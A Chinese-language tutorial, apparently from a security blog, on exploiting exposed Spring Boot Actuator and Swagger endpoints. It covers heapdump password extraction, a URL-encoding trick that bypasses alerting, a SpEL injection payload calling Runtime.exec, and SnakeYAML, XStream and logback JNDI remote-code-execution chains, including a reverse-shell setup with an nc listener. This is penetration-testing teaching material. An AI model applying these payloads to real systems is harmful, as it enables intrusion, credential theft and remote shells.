SpringBoot未授权访问漏洞
1. 概述
2. 信息泄露
2.1 接口调用详情泄露
漏洞成因:为对Swagger进行区分生产环境与开发环境,忘记切换环境配置
直接访问(Swagger/Swagger Codegen/Swagger Dubbo)相关的路径查看是否有输出:
1 | /swagger |
有时SpringBoot Actuator也会有一些接口信息:
1 | /mappings |
用谷歌语法inurl:/swagger-ui
等搜索:
2.2 Swagger检测绕过
被拦截路径:
1 | https://xx.domain.com/swagger-ui.html |
绕过报警:
1 | https://xx.domain.com/sw%61gger-ui.html |
2.3 配置不当暴露路由
漏洞成因:没有意识到暴露路由的安全风险或者没有按照规范流程开发
访问/env
|/actuator/env
接口时会带一些敏感关键词(如password、secret等)
2.3.1 Heapdump利用
- 直接访问
/heapdump
或者/actuator/headdump
下载内存文件 - 使用Eclipse Memory Analyzer获得JVM HEAP中的密码明文(https://www.eclipse.org/mat/downloads.php)
3. 远程代码执行漏洞
3.1 whitelabel error page SpEL RCE
3.1.1 利用条件
- SpringBoot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
- 至少知道一个触发SpringBoot默认错误页面的接口及参数
- 即SpringBoot的默认500错误
3.1.2 原理
SpringBoot处理参数时发生错误,会进入到org.springframework.util.PropertyPlaceholderHelper
类中,这是会对URL中的参数值用parseStringValue()
方法进行递归解析。其中用${}
包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的resolvePlaceholder()
方法当作SpEL表达式被解析执行,造成RCE漏洞。
3.1.3 靶场DEMO
输入其他类型字符测试:
参数类型应该是int
或者Integer
等字符型,这里我们得到一个接口以及参数,写入payload:
1 | id=${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))} |
3.2 spring cloud SnakeYAML RCE
3.2.1 漏洞原理
spring.cloud.bootstrap.location
属性被设置为外部恶意yml文件URL地址refresh
触发目标机器请求远程HTTP服务器上的yml文件,获得其内容SnakeYAML
由于存在反序列化漏洞,所以解析恶意yml内容时会完成指定的动作- 先是触发
java.net.URL
去拉取远程HTTP服务器上的恶意jar文件 - 然后寻找jar文件中实现
javax.script.ScriptEngineFactory
接口的类并实例化 - 实例化类时执行恶意代码,造成RCE漏洞
3.2.2 利用条件
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以POST 请求目标网站的
/refresh
接口刷新配置(存在boot-starter-actuator依赖) - spring-cloud-starter的版本 < 1.3.0.RELEASE
- 请求可出网(公网服务器)
3.2.3 托管yml和jar文件
1 | # vi yml-payload.yaml |
打包jar文件:
1 | javac src/artsploit/AwesomeScriptEngineFactory.java |
将这两个文件都放到公网服务器上:
3.2.4 抓包设置属性
先看处理前的/env
环境:
发现未处理前,是没有spring.cloud.bootstrap.location
这个yml配置项的。
抓/env
包修改为POST请求方法,加入远程加载yml的指令:
处理后的/env
环境:
3.2.5 刷新SpringCloud配置
注意点:
编译版本要和执行版本一致,不然yaml不能被解析。
3.2.6 总结
spring.cloud.bootstrap.location
这个配置项是用于resource的加载位置,我们将其定义为远程配置,就会从远程下载配置- 这里用到SnakeYAML的反序列化将jar包执行,
!!+代码
是SnakeYAML的反序列化特性
3.3 eureka xstream deserialization RCE
3.3.1 组件介绍
XStream是一种OXMapping 技术,是用来处理XML文件序列化的框架,在将JavaBean序列化,或将XML文件反序列化的时候,不需要其它辅助类和映射文件,使得XML序列化不再繁索。XStream也可以将JavaBean序列化成Json或反序列化,使用非常方便。
1 | xStream.fromXML(xml); |
3.3.2 漏洞原理
eureka.client.serviceUrl.defaultZone
属性被设置为恶意的外部eureka server URL地址/refresh
触发机器远程请求URL,提前架设的fake eureka server就会返回恶意的payload- 目标机器解析payload,触发XStream反序列化,造成RCE漏洞
3.3.3 利用条件
- 可以POST请求目标网站的
/env
接口设置属性 - 可以POST请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator依赖) - 目标使用的eureka-client < **1.8.7** (通常包含在spring-cloud-starter-netflix-eureka-client依赖中)
- 目标可请求HTTP服务器(可出网)
3.3.4 架设响应恶意payload的网站
用于反弹Shell
1 | <linked-hash-set> |
3.3.5 监听端口等待连接
1 | nc -lvvp 9888 |
3.3.6 抓包设置属性
1 | eureka.client.serviceUrl.defaultZone=http://(ip)/example # 远程加载地址 |
在抓包修改前:
抓包设置远程加载文件环境:
再次查看/env
:
3.3.7 刷新SpringCloud配置
通过POST请求
/refresh
刷新
3.3.8 反弹shell
由于需要用bash反弹shell,故将服务器部署在linux上,重复此上行为
3.4 jolokia logback JNDI RCE
3.4.1 漏洞原理
- 直接访问可触发漏洞的URL,相当于通过jolokia调用
ch.qos.logback.classic.jmx.JMXConfigurator
类的reloadByURL()
方法 - 目标机器请求外部日志配置文件URL地址,获得恶意XML内容
- 目标机器使用
saxParser.parse
解析XML文件(这里导致了XXE漏洞) - XML文件中利用Logback依赖的
insertFormJNDI
标签,设置了外部JNDI服务器地址 - 目标机器请求恶意JNDI服务器,导致JNDI注入,造成RCE漏洞
3.4.2 利用条件
- 可以POST请求目标网站的
/env
接口设置属性 - 可以POST请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator依赖) - 目标使用eureka-client < 1.8.7 (通常包含在spring-cloud-starter-netfliex-eureka-client依赖中)
- 目标可以请求攻击者的HTTP服务器(可出网)
3.4.3 查看已存在的MBeans
访问/jolokia/list
或/actuator/jolokia/list
接口,查看是否存在ch.qos.logback.classic.jmx.JMXConfigurator
和reloadByURL
关键词
3.4.4 托管 xml 文件
1 | <configuration> |